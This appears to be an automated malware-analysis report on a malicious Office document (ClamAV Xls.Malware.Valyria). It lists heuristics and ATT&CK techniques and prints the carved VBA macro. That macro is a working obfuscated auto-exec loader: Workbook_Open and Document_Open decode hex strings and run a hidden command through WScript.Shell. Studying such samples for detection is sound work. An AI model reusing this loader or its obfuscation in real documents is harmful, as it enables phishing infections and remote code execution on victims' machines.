MALICIOUS
344
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains heavily obfuscated VBA macros, including auto-executing routines like Workbook_Open and Document_Open, which are designed to run malicious code upon opening. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates the use of CreateObject and Shell execution, suggesting the macro's purpose is to download and execute a second-stage payload. The ClamAV detection name 'Xls.Malware.Valyria-6700361-0' further confirms its malicious nature.
Heuristics 10
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ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
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VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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CallByName call high OLE_VBA_CALLBYNAMECallByName call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2836 bytes |
SHA-256: 81f7ecd7ffcc521dbc1a3037a275bb4bd03e3f2abbaa6b28dc67b181b35687a5 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 6 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function WKPMZYFJH() As String
Dim xxxWKPMZYFJH As String
aWKPMZYFJH = "5499486425916464536493647C8D6426A33F4C649E64647E7964644D6464416464318B9C64374E64647262646E64C264366464916464A36464A0396464646491646470269F3D91643B51"
Dim cxbWKPMZYFJH = aWKPMZYFJH
DimDimMsgBox (adc(aWKPMZYFJH & myWKPMZYFJH, 333))
End Function
Private Function AXHKZGCOT() As String
Dim xxxAXHKZGCOT As String
aAXHKZGCOT = "5499486425916464536493647C8D6426A33F4C649E64647E7964644D6464416464318B9C64374E64647262646E64C264366464916464A36464A0396464646491646470269F3D91643B51"
Dim cxbAXHKZGCOT = aAXHKZGCOT
DimDimMsgBox (adc(aAXHKZGCOT & myAXHKZGCOT, 333))
End Function
Sub Workbook_Open()
MVA_
End Sub
Private Function KOCAMTRDA() As String
Dim xxxKOCAMTRDA As String
aKOCAMTRDA = "5499486425916464536493647C8D6426A33F4C649E64647E7964644D6464416464318B9C64374E64647262646E64C264366464916464A36464A0396464646491646470269F3D91643B51"
Dim cxbKOCAMTRDA = aKOCAMTRDA
DimDimMsgBox (adc(aKOCAMTRDA & myKOCAMTRDA, 333))
End Function
Public Sub Document_Open()
Application.Run G_("818A7593")
End Sub
Private Function DGIIQYNRI() As String
Dim xxxDGIIQYNRI As String
aDGIIQYNRI = "5499486425916464536493647C8D6426A33F4C649E64647E7964644D6464416464318B9C64374E64647262646E64C264366464916464A36464A0396464646491646470269F3D91643B51"
Dim cxbDGIIQYNRI = aDGIIQYNRI
DimDimMsgBox (adc(aDGIIQYNRI & myDGIIQYNRI, 333))
End Function
Sub MVA_()
CallByName CreateObject(G_("8B8797A69DA4A862879C99A0A0")), G_("86A9A2"), VbMethod, G_(ActiveDocument.Variables("CCQSQGBZK").Value), 0, True
End Sub
Private Function WVHERJNAN() As String
Dim xxxWVHERJNAN As String
aWVHERJNAN = "5499486425916464536493647C8D6426A33F4C649E64647E7964644D6464416464318B9C64374E64647262646E64C264366464916464A36464A0396464646491646470269F3D91643B51"
Dim cxbWVHERJNAN = aWVHERJNAN
DimDimMsgBox (adc(aWVHERJNAN & myWVHERJNAN, 333))
End Function
Public Function G_(ByVal AB_ As String)
Dim SSU_ As String
Dim QD_ As Long
For QD_ = 1 To Len(AB_) Step 2
Dim AT_ As Long: AT_ = CLng(Chr(38) & Chr(72) & Mid(AB_, QD_, 2))
SSU_ = SSU_ & Chr(AT_ - 52)
Next
G_ = SSU_
End Function
Private Function UKHVLFMFW() As String
Dim xxxUKHVLFMFW As String
aUKHVLFMFW = "5499486425916464536493647C8D6426A33F4C649E64647E7964644D6464416464318B9C64374E64647262646E64C264366464916464A36464A0396464646491646470269F3D91643B51"
Dim cxbUKHVLFMFW = aUKHVLFMFW
DimDimMsgBox (adc(aUKHVLFMFW & myUKHVLFMFW, 333))
End Function
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